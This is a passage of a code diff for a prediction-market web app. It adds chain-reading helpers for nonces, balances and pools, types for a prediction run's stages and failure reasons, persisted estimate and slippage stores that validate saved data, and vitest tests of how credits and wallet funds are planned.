+ + /** The owner's mined and broadcast counts, each the higher of the wallet's node and the app's where both answer. */ + async function nonceCounts(owner: Address): Promise<[mined: number, broadcast: number]> { + const wallet = args.walletNonce; + if (!wallet) return appCounts(owner); + const [fromWallet, fromApp] = await Promise.allSettled([ + Promise.all([wallet(owner, "latest"), wallet(owner, "pending")]), + appCounts(owner), + ]); + if (fromWallet.status === "rejected") { + if (fromApp.status === "rejected") throw fromApp.reason; + return fromApp.value; + } + if (fromApp.status === "rejected") return fromWallet.value; + return [Math.max(fromWallet.value[0], fromApp.value[0]), Math.max(fromWallet.value[1], fromApp.value[1])]; + } + + const balanceOf = (token: Address, holder: Address) => + args.client.readContract({ address: token, abi: erc20Abi, functionName: "balanceOf", args: [holder] }); + + const poolState = async (ref: PoolRef | undefined, targetPriceWad: bigint): Promise => + ref === undefined + ? UNPRICED + : readPoolLiquidity(args.client, ref, sqrtPriceX96FromPrice(targetPriceWad, ref.outcomeIsToken0)); + + /** `owner`'s transaction with `nonce` in block `blockNumber`, if it holds one. */ + const sentIn = async (blockNumber: bigint, owner: Address, nonce: number) => + (await args.client.getBlock({ blockNumber, includeTransactions: true })).transactions.find( + (each) => isAddressEqual(each.from, owner) && each.nonce === nonce, + ); + + /** + * The block from `fromBlock` to `head` that mined `owner`'s `nonce`, found from the owner's count after each + * block, which first passes `nonce` there; null where it was mined before `fromBlock`. A pruned node rejects. + */ + async function blockMining(owner: Address, nonce: number, fromBlock: bigint, head: bigint): Promise { + const countAfter = (blockNumber: bigint) => args.client.getTransactionCount({ address: owner, blockNumber }); + if (fromBlock > 0n && (await countAfter(fromBlock - 1n)) > nonce) return null; + let [low, high] = [fromBlock, head]; + while (low < high) { + const middle = (low + high) / 2n; + if ((await countAfter(middle)) > nonce) high = middle; + else low = middle + 1n; + } + return low; + } + + /** The same transaction, looked for block by block from `head` down, for a node that keeps no past state. */ + async function walkedTo(owner: Address, nonce: number, fromBlock: bigint, head: bigint) { + for (let number = head; number >= fromBlock; number--) { + const tx = await sentIn(number, owner, nonce); + if (tx) return tx; + } + return undefined; + } + + return { + async isExecutorDeployed(executor) { + const code = await args.client.getCode({ address: executor }); + return code !== undefined && code !== "0x"; + }, + + collateralBalance(executor) { + return balanceOf(args.collateral, executor); + }, + + async creditsBalance(holder) { + return args.credits ? balanceOf(args.credits.token, holder) : 0n; + }, + + async managerCollateral() { + return args.credits ? balanceOf(args.collateral, args.credits.manager) : 0n; + }, + + previewDeposit(assets) { + return args.client.readContract({ + address: args.collateral, + abi: erc4626Abi, + functionName: "previewDeposit", + args: [assets], + }); + }, + + vaultValue(shares) { + return args.client.readContract({ + address: args.collateral, + abi: erc4626Abi, + functionName: "convertToAssets", + args: [shares], + }); + }, + + latestBlock() { + return args.client.getBlockNumber(); + }, + + async latestTimestamp() { + return (await args.client.getBlock()).timestamp; + }, + + async blockGasLimit() { + return (await args.client.getBlock()).gasLimit; + }, + + estimateGas({ from, to, data, value }) { + return args.client.estimateGas({ account: from, to, data, value }); + }, + + async landedSince({ owner, executor, fromBlock }) { + const tokens = [args.collateral, ...(args.credits ? [args.credits.token] : [])]; + const [outgoing, incoming] = await Promise.all([ + args.client.getLogs({ address: tokens, event: TRANSFER, args: { from: executor }, fromBlock }), + args.client.getLogs({ address: tokens, event: TRANSFER, args: { to: executor }, fromBlock }), + ]); + + const received = new Map(); + for (const log of [...outgoing, ...incoming]) { + if (log.transactionHash === null) continue; + const into = isAddressEqual(log.address, args.collateral) && isAddressEqual(log.args.to!, executor); + received.set(log.transactionHash, (received.get(log.transactionHash) ?? 0n) + (into ? log.args.value! : 0n)); + } + + // a log exists only for a transaction that succeeded + const landed = await Promise.all( + [...received].map(async ([hash, collateralReceived]): Promise => { + const tx = await args.client.getTransaction({ hash }); + if (tx.to === null || !isAddressEqual(tx.from, owner)) return null; + return { to: tx.to, value: tx.value, input: tx.input, collateralReceived }; + }), + ); + return landed.filter((tx): tx is LandedTx => tx !== null); + }, + + async hasPending(owner) { + const [latest, pending] = await nonceCounts(owner); + return pending > latest; + }, + + async nextNonce(owner) { + return (await nonceCounts(owner))[1]; + }, + + async sentWithNonce({ owner, nonce, fromBlock }) { + const [mined, broadcast] = await nonceCounts(owner); + if (mined <= nonce) return { status: broadcast > nonce ? "pending" : "none" }; + // the blocks are searched on the app's node, which may not have reached the block the wallet's node mined it in + if ( + args.walletNonce && + (await args.client.getTransactionCount({ address: owner, blockTag: "latest" })) <= nonce + ) { + return { status: "pending" }; + } + + const head = await args.client.getBlockNumber({ cacheTime: 0 }); + const minedIn = await blockMining(owner, nonce, fromBlock, head).catch(() => undefined); + if (minedIn === null) return { status: "taken" }; + const tx = + minedIn === undefined ? await walkedTo(owner, nonce, fromBlock, head) : await sentIn(minedIn, owner, nonce); + if (!tx || tx.to === null) return { status: "taken" }; + const receipt = await args.client.getTransactionReceipt({ hash: tx.hash }); + return { + status: "mined", + hash: tx.hash, + to: tx.to, + value: tx.value, + input: tx.input, + success: receipt.status === "success", + }; + }, + + async optionStates({ options, executor }) { + const [refs, balances] = await Promise.all([ + fetchSessionPools(args.client, options), + fetchTokenBalances(args.client, { + holder: executor, + tokens: options.flatMap((option) => [ + option.upToken, + option.downToken, + option.invalidToken, + option.underlying, + ]), + }), + ]); + + return Promise.all( + options.map(async (option, index): Promise => { + const sides = optionPoolRefs(refs, option.childMarket); + const [up, down] = await Promise.all([ + poolState(sides.up, option.targetPriceWad), + poolState(sides.down, WAD - option.targetPriceWad), + ]); + const at = index * 4; + + return { + pools: { up, down }, + held: { up: balances[at] ?? 0n, down: balances[at + 1] ?? 0n, invalid: balances[at + 2] ?? 0n }, + underlying: balances[at + 3] ?? 0n, + }; + }), + ); + }, + }; +} diff --git a/apps/web/src/features/predict/run/types.ts b/apps/web/src/features/predict/run/types.ts new file mode 100644 index 00000000..bb006e8b --- /dev/null +++ b/apps/web/src/features/predict/run/types.ts @@ -0,0 +1,126 @@ +import type { TxErrorCause } from "@foresight/tx-orchestrator"; +import type { Address, Hash } from "viem"; + +import type { HeldTo, MovedPlans, PredictSnapshot } from "../flow/types"; + +/** + * `no-route`: no option can be moved toward its estimate with what the run has to spend. + * `at-estimates`: every option's pools already sit at its estimate. + * `quote`: the quoter gave no answer, so whether a route exists is unknown. + * `balance`: the trade wallet, or the wallet's credits, hold less than the popup counted on. + * `credits`: the credits manager cannot cover the credits, or no route swaps them as it requires. + * `deposit-unconfirmed`: a recovered run's deposit may have been signed with no hash kept. + * `pending`: the wallet has a transaction not yet mined, which may be the step about to be signed again. + * `wrong-wallet`, `wrong-chain`: a saved run belongs to another wallet or network than the connected one, or the + * client refused a send before the wallet was asked because the wallet was not connected or on another network. + * `elsewhere`: another open tab is driving the saved run. + * `prompt-open`: this tab holds the saved run for a wallet prompt that an earlier popup opened and nobody has answered. + * `closed`: the session's close time has passed on the chain's clock, so nothing more is signed. + * `unlisted`: a transaction departs from the chain's allow-list, the owner rule or the native-value rule, so it was not sent. + * `storage`: the send could not be saved before the wallet prompt, so no prompt was opened. + * `held`: a send that errored is held while its nonce reads unused, for ten minutes; nothing is signed for it meanwhile. + * `resign`: a held send's nonce, or a hash no node finds, stayed unused past its hold; retrying signs the step again, + * which the visitor is asked first. + * `unseen`: no node finds a sent hash and its nonce reads unused; it is kept for ten minutes from its send. + */ +export type PredictFailureReason = + | TxErrorCause + | "no-route" + | "at-estimates" + | "quote" + | "funds" + | "balance" + | "credits" + | "deposit-unconfirmed" + | "pending" + | "wrong-wallet" + | "wrong-chain" + | "elsewhere" + | "prompt-open" + | "closed" + | "unlisted" + | "storage" + | "held" + | "resign" + | "unseen"; + +/** What the popup shows while a prediction runs. */ +export type PredictStage = + /** Nothing started. */ + | "idle" + /** Between steps: reading the pools and finding prices. */ + | "quoting" + /** The wallet is open. */ + | "signing" + /** Broadcast, waiting for the chain. */ + | "confirming" + /** A stored run, reconciled with the chain, waiting for the visitor to resume it. */ + | "review" + /** A read of the pools before a batch gives another plan than the run is held to; nothing more is signed until `confirm`. */ + | "moved" + /** Stopped with something the visitor can act on. */ + | "halted" + | "complete"; + +export type StepState = "pending" | "running" | "success" | "error"; + +export interface PredictStepRow { + id: string; + label: string; + state: StepState; + /** The transaction a settled step confirmed under; absent where it was skipped. */ + hash?: Hash; +} + +export interface PredictProgress { + stage: PredictStage; + steps: PredictStepRow[]; + /** Options no route could be found for, which the run left out. */ + leftOut: Address[]; + /** How many of the planned batches have landed, for "3 of 5 went through". */ + batchesDone: number; + batches: number; + /** Why it stopped, classified. The chain's own wording names gas and contracts, so it stays out. */ + failure?: { reason: PredictFailureReason; retryable: boolean }; + /** A stopped run's broadcast transaction whose receipt has not been seen: it may still mine. */ + pendingHash?: Hash; + /** The running step's transaction, stored with the run as sent; recovery waits on it if the popup closes. */ + sentHash?: Hash; + /** This run sent a deposit or a prediction, so retrying it signs its snapshot, not the form. */ + moneyMoved?: true; + /** A send the wallet was asked for is held with the run, with no hash stored, until its nonce is read. */ + unanswered?: true; + /** The snapshot of a run restored from storage. It, not the popup's form, is what the run signs. */ + recovered?: PredictSnapshot; + /** At the `moved` stage: what changed since the run was held to `held`. */ + moved?: MovedPlans; + /** The plans and credits quote accepted at Predict, Resume or Confirm. */ + held?: HeldTo; +} + +export type { HeldTo, MovedPlans, ShownPlans, ShownQuotes } from "../flow/types"; + +export interface PredictDriver { + /** + * Starts a run from the form, or loads a stored one for review instead. With `held`, every batch + * reads the pools again before it is signed, and a plan that changed stops the run at `moved`. + */ + start(held?: HeldTo): void; + /** Goes on from `moved`, held to what it named; pools that moved again stop it there again. */ + confirm(): void; + /** Loads a stored run for review, reconciled with the chain. Signs nothing. */ + recover(): void; + /** Continues a run under review, bound to its displayed quotes when supplied. */ + resume(held?: HeldTo): void; + retry(held?: HeldTo): void; + /** Checks an unresolved hash before discarding; keeps the run while the transaction may still land. */ + discard(): void; + /** + * Throws the run away, including anything persisted. Refused while a step holds a hash with no receipt read or a held + * send is unresolved, and for a run stopped at `pending` or `deposit-unconfirmed`. + */ + reset(): void; + dispose(): void; + getProgress(): PredictProgress; + subscribe(listener: () => void): () => void; +} diff --git a/apps/web/src/features/predict/stores/__tests__/estimateStore.test.ts b/apps/web/src/features/predict/stores/__tests__/estimateStore.test.ts new file mode 100644 index 00000000..01bd8596 --- /dev/null +++ b/apps/web/src/features/predict/stores/__tests__/estimateStore.test.ts @@ -0,0 +1,101 @@ +import { beforeEach, describe, expect, it } from "vitest"; + +import { addresses } from "@/testing/fixtures"; + +import { ESTIMATES_STORAGE_KEY, normalizeEstimates, useEstimateStore } from "../estimateStore"; + +const PARENT = addresses.parentMarket; +const [FIRST, SECOND] = addresses.childMarkets; + +const store = () => useEstimateStore.getState(); + +beforeEach(() => { + localStorage.clear(); + useEstimateStore.setState({ estimates: {} }); +}); + +describe("estimateStore", () => { + it("keeps one estimate per option per session", () => { + store().setEstimate(PARENT, FIRST, 250); + store().setEstimate(PARENT, SECOND, 300); + store().setEstimate(addresses.deployer, FIRST, 1); + + expect(store().estimates[PARENT]).toEqual({ [FIRST]: 250, [SECOND]: 300 }); + }); + + it("stores under lowercased addresses whatever casing it is given", () => { + store().setEstimate(PARENT.toUpperCase(), FIRST.replace("0xc", "0xC"), 250); + + expect(store().estimates[PARENT]).toEqual({ [FIRST]: 250 }); + }); + + it("clears one option and forgets the session once it is empty", () => { + store().setEstimate(PARENT, FIRST, 250); + store().setEstimate(PARENT, SECOND, 300); + + store().clearEstimate(PARENT, FIRST); + expect(store().estimates[PARENT]).toEqual({ [SECOND]: 300 }); + + store().clearEstimate(PARENT, SECOND); + expect(store().estimates).toEqual({}); + }); + + it("resets one session and leaves the others alone", () => { + store().setEstimate(PARENT, FIRST, 250); + store().setEstimate(addresses.deployer, FIRST, 1); + + store().resetEstimates(PARENT); + + expect(store().estimates).toEqual({ [addresses.deployer]: { [FIRST]: 1 } }); + }); + + it("comes back from storage after an explicit rehydrate", async () => { + store().setEstimate(PARENT, FIRST, 250); + // the store writes on every set, so the saved copy is taken before the state is emptied + const saved = localStorage.getItem(ESTIMATES_STORAGE_KEY)!; + useEstimateStore.setState({ estimates: {} }); + localStorage.setItem(ESTIMATES_STORAGE_KEY, saved); + + await useEstimateStore.persist.rehydrate(); + + expect(store().estimates[PARENT]).toEqual({ [FIRST]: 250 }); + }); + + it("drops a saved shape it cannot trust rather than crashing", async () => { + localStorage.setItem( + ESTIMATES_STORAGE_KEY, + JSON.stringify({ state: { estimates: { [PARENT]: { [FIRST]: "250" }, junk: 1 } }, version: 0 }), + ); + + await useEstimateStore.persist.rehydrate(); + + expect(store().estimates).toEqual({}); + }); +}); + +describe("normalizeEstimates", () => { + it("keeps finite numbers under address-shaped keys", () => { + expect(normalizeEstimates({ [PARENT]: { [FIRST]: 250 } })).toEqual({ [PARENT]: { [FIRST]: 250 } }); + }); + + it("drops anything that is not a finite number under an address", () => { + const junk = { + [PARENT]: { [FIRST]: "250", [SECOND]: Number.NaN, notAnAddress: 1 }, + notAnAddress: { [FIRST]: 1 }, + [addresses.deployer]: null, + }; + + expect(normalizeEstimates(junk)).toEqual({}); + }); + + it("lowercases keys that were saved in checksum form", () => { + const upper = { [PARENT.replace("0xf", "0xF")]: { [FIRST.replace("0xc", "0xC")]: 250 } }; + + expect(normalizeEstimates(upper)).toEqual({ [PARENT]: { [FIRST]: 250 } }); + }); + + it("returns nothing for a shape that is not an object", () => { + expect(normalizeEstimates(undefined)).toEqual({}); + expect(normalizeEstimates("estimates")).toEqual({}); + }); +}); diff --git a/apps/web/src/features/predict/stores/__tests__/slippageStore.test.ts b/apps/web/src/features/predict/stores/__tests__/slippageStore.test.ts new file mode 100644 index 00000000..1ea260d8 --- /dev/null +++ b/apps/web/src/features/predict/stores/__tests__/slippageStore.test.ts @@ -0,0 +1,58 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import { SLIPPAGE_STORAGE_KEY, useSlippageStore } from "../slippageStore"; + +const store = () => useSlippageStore.getState(); + +beforeEach(() => { + localStorage.clear(); + useSlippageStore.setState({ settings: { tradeBps: null, creditsBps: null } }); +}); + +afterEach(() => { + vi.restoreAllMocks(); +}); + +describe("slippageStore", () => { + it("saves a custom value per browser and reads it back on the next load", async () => { + store().setSlippage("tradeBps", 250); + const saved = localStorage.getItem(SLIPPAGE_STORAGE_KEY)!; + + // a fresh page: Auto in memory, the saved value in storage + useSlippageStore.setState({ settings: { tradeBps: null, creditsBps: null } }); + localStorage.setItem(SLIPPAGE_STORAGE_KEY, saved); + await useSlippageStore.persist.rehydrate(); + + expect(store().settings).toEqual({ tradeBps: 250, creditsBps: null }); + }); + + it("goes back to Auto for one kind without touching the other", () => { + store().setSlippage("tradeBps", 250); + store().setSlippage("creditsBps", 40); + + store().setSlippage("tradeBps", null); + + expect(store().settings).toEqual({ tradeBps: null, creditsBps: 40 }); + }); + + it("reads a tampered saved value as Auto", async () => { + localStorage.setItem( + SLIPPAGE_STORAGE_KEY, + JSON.stringify({ state: { settings: { tradeBps: 9e9, creditsBps: 30 } } }), + ); + + await useSlippageStore.persist.rehydrate(); + + expect(store().settings).toEqual({ tradeBps: null, creditsBps: 30 }); + }); + + it("keeps a setting for the page's life where storage throws", () => { + vi.spyOn(Storage.prototype, "setItem").mockImplementation(() => { + throw new DOMException("blocked", "SecurityError"); + }); + + store().setSlippage("creditsBps", 60); + + expect(store().settings.creditsBps).toBe(60); + }); +}); diff --git a/apps/web/src/features/predict/stores/estimateStore.ts b/apps/web/src/features/predict/stores/estimateStore.ts new file mode 100644 index 00000000..fc07bc7f --- /dev/null +++ b/apps/web/src/features/predict/stores/estimateStore.ts @@ -0,0 +1,104 @@ +import * as v from "valibot"; +import { isAddress } from "viem"; +import { create } from "zustand"; +import { createJSONStorage, persist } from "zustand/middleware"; + +const AddressKey = v.pipe( + v.string(), + v.check((key) => isAddress(key, { strict: false })), +); +const Estimate = v.pipe(v.number(), v.finite()); + +/** Keyed by lowercased parent market, then lowercased child market. */ +const EstimatesSchema = v.record(AddressKey, v.record(AddressKey, Estimate)); +type Estimates = v.InferOutput; + +const lowercaseKeys = (record: Estimates): Estimates => + Object.fromEntries( + Object.entries(record).map(([parent, options]) => [ + parent.toLowerCase(), + Object.fromEntries(Object.entries(options).map(([market, estimate]) => [market.toLowerCase(), estimate])), + ]), + ); + +/** + * Persisted state is untrusted. A record that fits the schema is taken whole; otherwise it is + * checked entry by entry so one bad value costs itself, not everything saved. + */ +export function normalizeEstimates(value: unknown): Estimates { + if (v.is(EstimatesSchema, value)) return lowercaseKeys(value); + + const sessions: Estimates = {}; + if (!value || typeof value !== "object") return sessions; + + for (const [parent, saved] of Object.entries(value as Record)) { + if (!v.is(AddressKey, parent) || !saved || typeof saved !== "object") continue; + + const options: Estimates[string] = {}; + for (const [market, estimate] of Object.entries(saved as Record)) { + if (v.is(AddressKey, market) && v.is(Estimate, estimate)) options[market.toLowerCase()] = estimate; + } + if (Object.keys(options).length > 0) sessions[parent.toLowerCase()] = options; + } + + return sessions; +} + +type EstimateStore = { + estimates: Estimates; + setEstimate: (parentMarket: string, market: string, value: number) => void; + clearEstimate: (parentMarket: string, market: string) => void; + resetEstimates: (parentMarket: string) => void; +}; + +const key = (address: string) => address.toLowerCase(); + +const EMPTY: Record = {}; + +export const ESTIMATES_STORAGE_KEY = "foresight-estimates"; + +export const useEstimateStore = create()( + persist( + (set) => ({ + estimates: {}, + + setEstimate: (parentMarket, market, value) => + set((state) => { + const parent = key(parentMarket); + return { + estimates: { ...state.estimates, [parent]: { ...state.estimates[parent], [key(market)]: value } }, + }; + }), + + clearEstimate: (parentMarket, market) => + set((state) => { + const parent = key(parentMarket); + const { [key(market)]: _cleared, ...rest } = state.estimates[parent] ?? {}; + const { [parent]: _session, ...sessions } = state.estimates; + return { estimates: Object.keys(rest).length > 0 ? { ...sessions, [parent]: rest } : sessions }; + }), + + resetEstimates: (parentMarket) => + set((state) => { + const { [key(parentMarket)]: _session, ...sessions } = state.estimates; + return { estimates: sessions }; + }), + }), + { + name: ESTIMATES_STORAGE_KEY, + storage: createJSONStorage(() => localStorage), + // The server renders every option unset; hydrating after mount keeps the first client render identical. + skipHydration: true, + merge: (persisted, current) => ({ + ...current, + estimates: normalizeEstimates((persisted as { estimates?: unknown } | undefined)?.estimates), + }), + }, + ), +); + +export const useSessionEstimates = (parentMarket: string) => + useEstimateStore((state) => state.estimates[key(parentMarket)] ?? EMPTY); + +export const useEstimate = (parentMarket: string, market: string) => + useEstimateStore((state) => state.estimates[key(parentMarket)]?.[key(market)]); diff --git a/apps/web/src/features/predict/stores/slippageStore.ts b/apps/web/src/features/predict/stores/slippageStore.ts new file mode 100644 index 00000000..54765de8 --- /dev/null +++ b/apps/web/src/features/predict/stores/slippageStore.ts @@ -0,0 +1,56 @@ +import { create } from "zustand"; +import { createJSONStorage, persist, type StateStorage } from "zustand/middleware"; + +import { AUTO_SLIPPAGE, normalizeSlippageSettings, type SlippageKind, type SlippageSettings } from "../utils/slippage"; + +type SlippageStore = { + settings: SlippageSettings; + /** Null sets the kind back to Auto. */ + setSlippage: (kind: SlippageKind, bps: number | null) => void; +}; + +export const SLIPPAGE_STORAGE_KEY = "foresight-predict-slippage"; + +/** Storage access throws in a private window or with site data blocked; the settings then last the page's life. */ +const safeLocalStorage: StateStorage = { + getItem: (name) => { + try { + return localStorage.getItem(name); + } catch { + return null; + } + }, + setItem: (name, value) => { + try { + localStorage.setItem(name, value); + } catch { + // kept in memory only + } + }, + removeItem: (name) => { + try { + localStorage.removeItem(name); + } catch { + // nothing stored to remove + } + }, +}; + +/** The visitor's slippage settings for predict runs, per browser. */ +export const useSlippageStore = create()( + persist( + (set) => ({ + settings: AUTO_SLIPPAGE, + setSlippage: (kind, bps) => set((state) => ({ settings: { ...state.settings, [kind]: bps } })), + }), + { + name: SLIPPAGE_STORAGE_KEY, + storage: createJSONStorage(() => safeLocalStorage), + partialize: (state) => ({ settings: state.settings }), + merge: (persisted, current) => ({ + ...current, + settings: normalizeSlippageSettings((persisted as { settings?: unknown } | undefined)?.settings), + }), + }, + ), +); diff --git a/apps/web/src/features/predict/types.ts b/apps/web/src/features/predict/types.ts new file mode 100644 index 00000000..e04e4f33 --- /dev/null +++ b/apps/web/src/features/predict/types.ts @@ -0,0 +1,12 @@ +import type { OptionScale } from "@/types/optionScale"; + +/** An estimate that differs from the market's, which is what a prediction is. */ +export interface SelectedEstimate { + scale: OptionScale; + value: number; + marketEstimate: number; + direction: "higher" | "lower"; +} + +/** The token the visitor pays in: the session's collateral, or xDAI where it can be turned into it. */ +export type PayToken = "collateral" | "native"; diff --git a/apps/web/src/features/predict/utils/__tests__/credits.test.ts b/apps/web/src/features/predict/utils/__tests__/credits.test.ts new file mode 100644 index 00000000..230a7f91 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/credits.test.ts @@ -0,0 +1,307 @@ +import { describe, expect, it } from "vitest"; + +import { OWNED_DECIMALS } from "@/utils/amount"; + +import type { CreditsHeld } from "@/lib/trade-executor/credits"; + +import { creditLines, creditsOffer, MIN_CREDITS } from "../credits"; +import { fundingRequest, fundingSummary, planFunding, shownAmount, shownSplit } from "../funding"; + +const WAD = 10n ** 18n; +const sDai = { id: "collateral" as const, symbol: "sDAI", decimals: 18 }; +const xDai = { id: "native" as const, symbol: "xDAI", decimals: 18 }; +const collateral = { symbol: "sDAI", decimals: 18 }; + +/** Funding for `amount` sDAI with the credits ticked, as the popup plans it. */ +function fund(held: CreditsHeld, amount: bigint, money = { ownWallet: 0n, tradeWallet: 0n }) { + const offer = creditsOffer(held); + const funding = planFunding({ amount, ...money, credits: creditLines(held, offer) }); + return { offer, funding, summary: fundingSummary({ funding, amount, token: sDai, collateral })?.text }; +} + +describe("creditsOffer", () => { + it("offers nothing to a visitor with no credits, or 0.01 and below", () => { + expect(creditsOffer(null)).toEqual({ state: "none" }); + expect(creditsOffer({ wallet: 0n, tradeWallet: 0n, manager: 1000n * WAD })).toEqual({ state: "none" }); + expect(creditsOffer({ wallet: MIN_CREDITS / 2n, tradeWallet: MIN_CREDITS / 2n, manager: 1000n * WAD })).toEqual({ + state: "none", + }); + expect(creditsOffer({ wallet: WAD / 200n, tradeWallet: 0n, manager: 1000n * WAD }).state).toBe("none"); + }); + + it("sums the wallet's and the trade wallet's credits, all usable when the manager covers them", () => { + expect(creditsOffer({ wallet: 3n * WAD, tradeWallet: 2n * WAD, manager: 1000n * WAD })).toEqual({ + state: "usable", + held: 5n * WAD, + usable: 5n * WAD, + }); + }); + + it("caps what is usable at the manager's collateral when it is short", () => { + expect(creditsOffer({ wallet: 50n * WAD, tradeWallet: 0n, manager: 20n * WAD })).toEqual({ + state: "short", + held: 50n * WAD, + usable: 20n * WAD, + }); + }); + + it("offers none as usable when the manager is empty, or holds 0.01 and below", () => { + expect(creditsOffer({ wallet: 5n * WAD, tradeWallet: 0n, manager: 0n })).toEqual({ + state: "empty", + held: 5n * WAD, + usable: 0n, + }); + expect(creditsOffer({ wallet: 5n * WAD, tradeWallet: 0n, manager: MIN_CREDITS }).state).toBe("empty"); + }); +}); + +describe("planFunding with a credits line", () => { + it("enough credits: Alice's 5 credits fund a 3 sDAI prediction, nothing from her wallet", () => { + const { funding, summary } = fund({ wallet: 5n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, 3n * WAD, { + ownWallet: 10n * WAD, + tradeWallet: 0n, + }); + + expect(funding).toMatchObject({ + collateralIn: 3n * WAD, + creditsIn: 3n * WAD, + credits: [{ kind: "foresight", fromTradeWallet: 0n, fromWallet: 3n * WAD }], + fromTradeWallet: 0n, + toAdd: 0n, + deposit: 0n, + }); + expect(summary).toBe("≈ 3 sDAI from your credits"); + }); + + it("partial credits: 2 credits and 10 sDAI fund 5 sDAI as 2 in credits and 3 from the wallet", () => { + const { funding, summary } = fund({ wallet: 2n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, 5n * WAD, { + ownWallet: 10n * WAD, + tradeWallet: 0n, + }); + + expect(funding).toMatchObject({ creditsIn: 2n * WAD, toAdd: 3n * WAD, deposit: 3n * WAD }); + expect(summary).toBe("≈ 5 sDAI = 2 in credits + 3 from your wallet"); + }); + + it("spends the trade wallet's credits, then the wallet's, then the trade wallet's collateral, then the wallet", () => { + const { funding, summary } = fund({ wallet: 2n * WAD, tradeWallet: 1n * WAD, manager: 1000n * WAD }, 10n * WAD, { + ownWallet: 20n * WAD, + tradeWallet: 4n * WAD, + }); + + expect(funding).toMatchObject({ + credits: [{ kind: "foresight", fromTradeWallet: 1n * WAD, fromWallet: 2n * WAD }], + creditsIn: 3n * WAD, + fromTradeWallet: 4n * WAD, + toAdd: 3n * WAD, + }); + expect(summary).toBe("≈ 10 sDAI = 3 in credits + 4 in your trade wallet + 3 from your wallet"); + }); + + it("manager short: spends only the 20 credits it covers of 50, the rest from the wallet", () => { + const { offer, funding } = fund({ wallet: 50n * WAD, tradeWallet: 0n, manager: 20n * WAD }, 30n * WAD, { + ownWallet: 1000n * WAD, + tradeWallet: 0n, + }); + + expect(offer).toMatchObject({ state: "short", usable: 20n * WAD }); + expect(funding).toMatchObject({ creditsIn: 20n * WAD, toAdd: 10n * WAD, creditsAvailable: 20n * WAD }); + expect(funding.available).toBe(1020n * WAD); + }); + + it("manager empty: no credits line, so the amount is the visitor's own collateral", () => { + const { offer, funding, summary } = fund({ wallet: 5n * WAD, tradeWallet: 0n, manager: 0n }, 3n * WAD, { + ownWallet: 10n * WAD, + tradeWallet: 0n, + }); + + expect(offer.state).toBe("empty"); + expect(funding).toMatchObject({ credits: [], creditsIn: 0n, creditsAvailable: 0n, toAdd: 3n * WAD }); + expect(summary).toBe("3 sDAI from your wallet"); + }); + + it("adds the usable credits to what can be put in, so Max and the over-balance check count them", () => { + const { funding, summary } = fund({ wallet: 5n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, 20n * WAD, { + ownWallet: 10n * WAD, + tradeWallet: 0n, + }); + + expect(funding.available).toBe(15n * WAD); + expect(summary).toBe("Not enough balance. Max 15 sDAI."); + }); + + it("values credits paid in xDAI at the rate, and deposits xDAI only for the rest", () => { + // 1.25 xDAI per sDAI: 10 xDAI is 8 sDAI, of which 2 come from credits + const held = { wallet: 2n * WAD, tradeWallet: 0n, manager: 1000n * WAD }; + const funding = planFunding({ + amount: 10n * WAD, + ownWallet: 20n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: (5n * WAD) / 4n, + credits: creditLines(held, creditsOffer(held)), + }); + + expect(funding).toMatchObject({ + collateralIn: 8n * WAD, + creditsIn: 2n * WAD, + creditsAvailable: (5n * WAD) / 2n, + toAdd: 6n * WAD, + deposit: (15n * WAD) / 2n, + }); + expect(fundingSummary({ funding, amount: 10n * WAD, token: xDai, collateral })?.text).toBe( + "≈ 8 sDAI = 2 in credits + 6 from your wallet", + ); + }); +}); + +describe("credits a run may spend", () => { + it("offers every credit held, however many, when the manager covers them", () => { + const held = { wallet: 5000n * WAD, tradeWallet: 250n * WAD, manager: 10_000n * WAD }; + + expect(creditsOffer(held)).toEqual({ state: "usable", held: 5250n * WAD, usable: 5250n * WAD }); + }); + + it("offers what the manager's collateral covers, and says the offer is short of what is held", () => { + const held = { wallet: 300n * WAD, tradeWallet: 0n, manager: 120n * WAD }; + + expect(creditsOffer(held)).toEqual({ state: "short", held: 300n * WAD, usable: 120n * WAD }); + }); +}); + +describe("credits signed as shown", () => { + const step = 10n ** BigInt(18 - OWNED_DECIMALS); + + it("spends each credit source in whole shown decimals, so the transfer and the burn are the figures shown", () => { + // 1.23456789 in the trade wallet and 0.98765432 in the wallet + const held = { wallet: 987_654_320_000_000_000n, tradeWallet: 1_234_567_890_000_000_000n, manager: 1000n * WAD }; + const funding = planFunding({ + amount: 5n * WAD, + ownWallet: 10n * WAD, + tradeWallet: 0n, + credits: creditLines(held, creditsOffer(held)), + }); + const [use] = funding.credits; + + expect(use).toEqual({ kind: "foresight", fromTradeWallet: 12_345n * step, fromWallet: 9_876n * step }); + expect(funding.creditsIn % step).toBe(0n); + expect(shownAmount(funding.creditsIn, 18)).toBe("2.2221"); + expect(funding.toAdd).toBe(5n * WAD - funding.creditsIn); + }); + + it("drops what the cut leaves below a shown decimal rather than deposit it, when credits cover the rest", () => { + // 2 xDAI at 1.2543 xDAI per sDAI is 1.594515... sDAI, cut to 1.5945 credits + const held = { wallet: 6n * WAD, tradeWallet: 0n, manager: 1000n * WAD }; + const funding = planFunding({ + amount: 2n * WAD, + ownWallet: 10n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: 1_254_300_000_000_000_000n, + credits: creditLines(held, creditsOffer(held)), + }); + + expect(funding).toMatchObject({ creditsIn: 15_945n * step, collateralIn: 15_945n * step, toAdd: 0n, deposit: 0n }); + expect(fundingSummary({ funding, amount: 2n * WAD, token: xDai, collateral })?.text).toBe( + "≈ 1.5945 sDAI from your credits", + ); + }); + + it("asks the run for the sDAI split apart from the credits, and the credits by source", () => { + const held = { wallet: 2n * WAD, tradeWallet: WAD, manager: 1000n * WAD }; + const funding = planFunding({ + amount: 10n * WAD, + ownWallet: 20n * WAD, + tradeWallet: 4n * WAD, + credits: creditLines(held, creditsOffer(held)), + }); + + expect(fundingRequest(funding, false)).toEqual({ + deposit: 3n * WAD, + depositNative: false, + collateralIn: 7n * WAD, + collateralBefore: 4n * WAD, + creditsFromEoa: 2n * WAD, + creditsToSpend: 3n * WAD, + }); + }); + + it("counts only the credits the cut can spend as available, so an amount it accepts is covered", () => { + // 1.00009 credits in the trade wallet and 0.00009 in the wallet: each cut spends 1 and 0 + const dust = 9n * 10n ** 13n; + const line = { kind: "foresight" as const, tradeWallet: WAD + dust, wallet: dust, usable: WAD + 2n * dust 